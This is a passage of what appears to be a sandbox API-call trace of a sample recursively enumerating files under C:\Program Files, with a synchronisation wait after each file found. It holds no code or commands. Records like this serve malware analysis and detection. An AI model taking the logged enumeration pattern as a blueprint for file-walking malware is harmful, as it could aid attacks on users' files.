ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0216.855] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0216.855] GetProcessHeap () returned 0xc10000 [0216.855] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0216.855] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0216.855] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0216.855] GetProcessHeap () returned 0xc10000 [0216.855] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3408fd8 | out: hHeap=0xc10000) returned 1 [0216.858] FindNextFileW (in: hFindFile=0x33e4b28, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a307d95, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d0779b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d0779b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0216.858] FindNextFileW (in: hFindFile=0x33e4b28, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xec1d2101, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec1d2101, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0216.858] GetProcessHeap () returned 0xc10000 [0216.858] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0216.858] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xec1d2101, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec1d2101, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0216.858] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xec1d2101, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec1d2101, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.858] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0216.858] GetProcessHeap () returned 0xc10000 [0216.859] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3408fd8 [0216.862] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0216.863] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.863] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2dfe94, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x68e10600, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0216.863] ResetEvent (hEvent=0x2b8) returned 1 [0216.863] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0216.866] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b3c4cb5, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1 [0216.866] ResetEvent (hEvent=0x2b8) returned 1 [0216.866] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0216.868] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2212c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1 [0216.868] ResetEvent (hEvent=0x2b8) returned 1 [0216.868] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0217.603] ResetEvent (hEvent=0x2b8) returned 1 [0217.603] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0217.640] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2212c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 0 [0217.641] FindClose (in: hFindFile=0x33e4968 | out: hFindFile=0x33e4968) returned 1 [0217.641] GetProcessHeap () returned 0xc10000 [0217.641] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3408fd8 | out: hHeap=0xc10000) returned 1 [0217.641] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0217.641] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae23e110, ftCreationTime.dwHighDateTime=0x1d5f029, ftLastAccessTime.dwLowDateTime=0xe6d57b80, ftLastAccessTime.dwHighDateTime=0x1d5d3a6, ftLastWriteTime.dwLowDateTime=0xe6d57b80, ftLastWriteTime.dwHighDateTime=0x1d5d3a6, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hispanic.exe", cAlternateFileName="")) returned 1 [0217.641] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd400, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0217.641] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a49fe45, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iediagcmd.exe", cAlternateFileName="")) returned 1 [0217.641] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a70c9a1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbc534b5e, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a70c9a1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7a800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0217.642] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a49fe45, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0217.642] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4c60b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x63800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0217.642] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa182b3a4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa1c0b0e4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x8ca44c00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc9340, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0217.643] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0217.643] GetProcessHeap () returned 0xc10000 [0217.643] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3408fd8 [0217.643] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\*", lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0217.643] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.643] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a55ea4d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a55ea4d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a55ea4d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="bing.ico", cAlternateFileName="")) returned 1 [0217.643] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a55ea4d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a55ea4d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a55ea4d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="bing.ico", cAlternateFileName="")) returned 0 [0217.644] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0217.644] GetProcessHeap () returned 0xc10000 [0217.644] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3408fd8 | out: hHeap=0xc10000) returned 1 [0217.644] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8aa5760, ftCreationTime.dwHighDateTime=0x1d5749c, ftLastAccessTime.dwLowDateTime=0xd580e080, ftLastAccessTime.dwHighDateTime=0x1d58479, ftLastWriteTime.dwLowDateTime=0xd580e080, ftLastWriteTime.dwHighDateTime=0x1d58479, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mxslipstream.exe", cAlternateFileName="MXSLIP~1.EXE")) returned 1 [0217.644] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0217.644] GetProcessHeap () returned 0xc10000 [0217.644] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3408fd8 [0217.644] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0217.644] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.644] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c952e, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x970b4468, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x970b4468, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0217.645] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c952e, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x970b4468, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x970b4468, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0217.645] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0217.645] GetProcessHeap () returned 0xc10000 [0217.645] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3408fd8 | out: hHeap=0xc10000) returned 1 [0217.645] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0217.645] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0217.645] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0217.645] GetProcessHeap () returned 0xc10000 [0217.645] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0217.647] FindNextFileW (in: hFindFile=0x33e4b28, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xe8d36153, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d36153, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="Java", cAlternateFileName="")) returned 1 [0217.647] GetProcessHeap () returned 0xc10000 [0217.647] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0217.647] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xe8d36153, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d36153, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0217.647] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xe8d36153, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d36153, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.647] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 1 [0217.648] GetProcessHeap () returned 0xc10000 [0217.648] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3408fd8 [0217.649] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\*", lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0217.649] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.649] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1 [0217.649] GetProcessHeap () returned 0xc10000 [0217.649] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0217.650] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\*", lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, 